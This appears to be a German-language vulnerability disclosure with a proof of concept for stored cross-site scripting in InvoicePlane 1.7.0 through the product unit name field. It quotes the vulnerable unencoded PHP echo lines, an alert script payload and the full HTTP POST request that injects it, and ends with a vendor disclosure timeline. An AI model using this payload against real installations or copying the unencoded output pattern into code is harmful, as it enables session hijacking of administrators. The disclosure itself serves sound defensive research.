
Proof-of-concept für eine gespeicherte XSS-Schwachstelle in InvoicePlane 1.7.0 über das Feld für den Produkt-Einheitennamen, einschließlich der anfälligen Codestellen und Reproduktionsschritten.
Schwachstelle: Stored Cross-Site Scripting (XSS) über das Feld Produkteinheiten-Name
Produkt: InvoicePlane
Betroffene Version: 1.7.0 (und vermutlich frühere Versionen)
Schweregrad: Mittel
CVSS 3.1-Score: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Unzureichende Neutralisierung von Eingaben bei der Generierung von Webseiten
Entdeckt von: Leonidas Agathos
Meldedatum: 2026-01-31
Die Felder unit_name und unit_name_plrl im Produkteinheiten-Formular (/index.php/units/form) akzeptieren beliebige Eingaben ohne Bereinigung. Die Werte werden gespeichert und unkodiert in der Rechnungspositionenliste gerendert, wenn eine Rechnung angezeigt wird, die ein Produkt mit der schädlichen Einheit enthält.
Betroffene Dateien:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Zeile 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Zeile 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
Schritt 1 — Payload in den Einheiten-Namen injizieren
Navigieren Sie zu /index.php/units/form und übermitteln Sie Folgendes als Einheiten-Namen:
<script>alert("XSS in Product Unit")</script>
Anfrage:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

Schritt 2 — XSS auslösen
/index.php/products/form/1 oder zeigen Sie eine beliebige Rechnung an, die das Produkt enthältDie Payload wird ausgeführt, wenn die Positionenliste gerendert wird.

Die Payload wird im Browser jedes Administrators ausgeführt, der eine Rechnungs- oder Produktseite anzeigt, die die schädliche Einheit enthält. Dies ermöglicht Session-Hijacking (falls Cookies nicht HttpOnly sind), CSRF-Token-Diebstahl und Aktionen, die unter der Identität des Opfers ausgeführt werden.
| Datum | Ereignis |
|---|---|
| 2026-01-30 | Schwachstelle entdeckt |
| 2026-01-31 | Proof of Concept entwickelt |
| 2026-01-31 | Hersteller benachrichtigt |
| 2026-02-04 | Bestätigung durch den Hersteller |
| 2026-02-04 | Patch veröffentlicht |
| 2026-02-05 | Öffentliche Offenlegung |
Diese Schwachstelle wurde im Rahmen unabhängiger Sicherheitsforschung entdeckt. Alle Informationen werden ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken bereitgestellt, um dem Hersteller und der Sicherheitsgemeinschaft beim Verständnis und der Behebung des Problems zu helfen. Jegliche böswillige Nutzung dieser Informationen ist strengstens untersagt.